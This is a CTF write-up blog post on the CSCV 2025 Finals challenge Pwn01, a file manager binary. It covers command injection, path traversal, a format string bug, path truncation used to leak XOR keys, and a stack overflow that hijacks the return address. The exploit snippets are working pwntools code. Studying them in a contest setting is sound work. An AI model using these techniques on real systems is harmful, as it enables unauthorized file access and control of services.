CSCV 25 Finals - Pwn01

Posted on Dec 11, 2025

This year, I participated in the Cybersecurity Student Contest Vietnam (CSCV) 2025 Finals - Group A as a member of my university’s team - HCMUT.i_dont_think_we_have_a_name. While my overall performance wasn’t my best, I managed to upsolve some of the Pwnable challenges. This post focuses on the first challenge - Pwn01. I’ve heard that this challenge contains several vulnerabilities that many teams struggled to identify. Let’s dive in.

This is a online file manager system we are can register an account and manage our files on it.

Some Important Functions

is_valid_filename()

int is_valid_filename(const char *filename) {
    for (int i = 0; protected_filename[i] != NULL; i++) {
        size_t fn_len = strlen(filename);
        size_t pf_len = strlen(protected_filename[i]);
        if (fn_len >= pf_len) {
            if (strcmp(filename + fn_len - pf_len, protected_filename[i]) == 0) {
                return 0; 
            }
        }
    }
    for (int i = 0; protected_keywords[i] != NULL; i++) {
        if (strstr(filename, protected_keywords[i]) != NULL) {
            return 0;
        }
    }
    return 1;
}

The issue here is that it only checks if any of the protected filenames match the suffix of our filename. I immediately got suspicious when I read this since it is usually securer to check if protected filenames appears anywhere in filename instead of just at the end.

Bugs

Bug #1

The first vulnerability I found was a rather obvious command injection in the cmd_find() function.

    // ...
    snprintf(command, sizeof(command), "find  %s  -name '%s' 2>/dev/null", user_path, pattern);
    system(command);
}

pattern cannot be escaped because it is put inside '' and is checked by check_single_quote(pattern). However, we can do command injection with user_path. Something like this work nicely:

Bug #2

cmd_read_file() does not check for path traversal. Simply executing read ../../../../../../flag.txt allows you to retrieve the flag. I personally kicked myself for missing this one during the contest. :(

Bug #3

cmd_cat() has a format string vulnerability. One can craft a file with format strings in it to leak important information and manipulate memory. I haven’t tried this approach, but it should be feasible since we have an unrestricted format string vulnerability.

Bug #4

Many functions check the filename before using snprintf() to create a path, including cmd_read_file(), cmd_write_file(), etc. The problem is, when crafting the path, only the first 255 characters are kept. We can append random characters like ‘key.txtx’ so that ‘key.txt’ is right at the end of MAX_PATH - 1, and the ‘x’ will be discarded. We could do the same with ‘password.txt’, remembering to adjust the name or the number of ./ appropriately.

The registration flow is as follows:

  • Generate a 16-character random key called user_key.
  • XOR user_key with MASTER_KEY and store it in ‘key.txt’.
  • XOR password with user_key to get encrypted_password, stored in ‘password.txt’.

With cmd_read_file() and cmd_write_file(), we can manipulate these two files. Can we leak the MASTER_KEY from this? Let’s try:

key[i] = user_key[i] ^ master_key[i]
enc_password[i] = password[i] ^ user_key[i]
=> master_key[i] = password[i] ^ enc_password[i] ^ key[i]

Yes, we can. Here is a snapshot of the exploit code:

io.sendlineafter(b'> ', b'mkdir a')
io.recvline()
io.sendlineafter(b'> ', f'read {'./' * 118 + 'key.txtx'}'.encode())
key = io.recvn(16)
io.sendlineafter(b'> ', f'read {'a/../' + './' * 113 + 'password.txtx'}'.encode())
enc_password = io.recvn(len(password) + 1)
enc_password = enc_password[1:] # first byte is the length

master_key = xor(xor(enc_password, password), key)
print(b'master_key', master_key)
# yes sir, it is correct
# now, get admin and get whatever file you want

And we got the result:

Even though we obtained the MASTER_KEY and could read any file, this exploit is not feasible in an Attack & Defense CTF. Why? Because this exploit requires multiple attempts, as key or enc_password could contain null bytes and wouldn’t be printed out entirely. Regardless, this approach was quite new to me, and I’m happy I learned it from this challenge.

It is worth noting that at first, I thought this bug could not be patched under the Attack & Defense patching rules. To patch this vulnerability, we would have to edit the function cmd_read_file() to check the path’s validity after using snprintf, which would require changing more bytes than allowed. However, we can change the address of protected_keywords used in is_valid_filename() to protected_filename, so that it checks for any string ‘key.txt’ or ‘password.txt’ in our filename, instead of just checking the suffixes.

Let’s patch it. Just use this plugin to easily edit the binary.

And it works. We can no longer use that specific filename pattern.

Bug #5

We are provided with the functions cmd_encrypt() and cmd_decrypt(). It is quite obvious that we can decrypt any files, including files that are not a result of an encryption process. So, we hope we can corrupt it. After skimming through the source code, I recognized that it is just a simple XOR with user_key. So, decrypting a file full of \x00 would reveal the user_key.

encrypted = [0] * (5 + 16)
encrypted[0:3] = b'ENC'
encrypted = bytes(encrypted)

cmd_write_file('brute.enc', encrypted)
io.sendlineafter(b'> ', b'decrypt brute.enc')
cmd_read_file('brute.dec')

And the result:

So we got the user_key. This vuln seems unable to fix since it is the logic itself that’s vulnerable. Since this bug is in cmd_decrypt(), I think we could use this bug in the cmd_encrypt() function as well. Let’s find out.

Bug #6

After investigating the functions further, I identified a buffer overflow in cmd_encrypt(). encoded_data has a size of 2052, while the size of the encrypted file could be up to 4096 bytes long. Since the stack canary and PIE are disabled, we can just set the saved return address to the middle of the cmd_admin() function to read any files we want. To be able to manipulate the encoded data, we need to leak the user_key, which could be done with Bug #5.

In this debugging case, our encoded data starts at 0x7ffdcc0b8af4, and our saved return address is at 0x7ffdcc0b9308. The offset is 2068. But remember to set v13 (filename) and saved rbp to a valid address, too.

So, this exploit works for me:

cmd_write_file('exploit', xor(b'iiii' + b'i' * 2048 + p64(0x408d00) + p64(0x408d00) + p64(0x4043F9), user_key)) # 0x4043F9 is middle of cmd_admin()
io.sendlineafter(b'> ', b'encrypt exploit')

And done:

This bug is quite easy to patch. Just edit the size of encoded_data to 4096.

My final thought

This is a nice Pwnable challenge. It doesn’t focus much on pwn-specific bugs, but rather on improper path validation and encryption logic. Sadly my brain wasn’t strong enough to explore these vulns in contest. Hope I could make it better next year!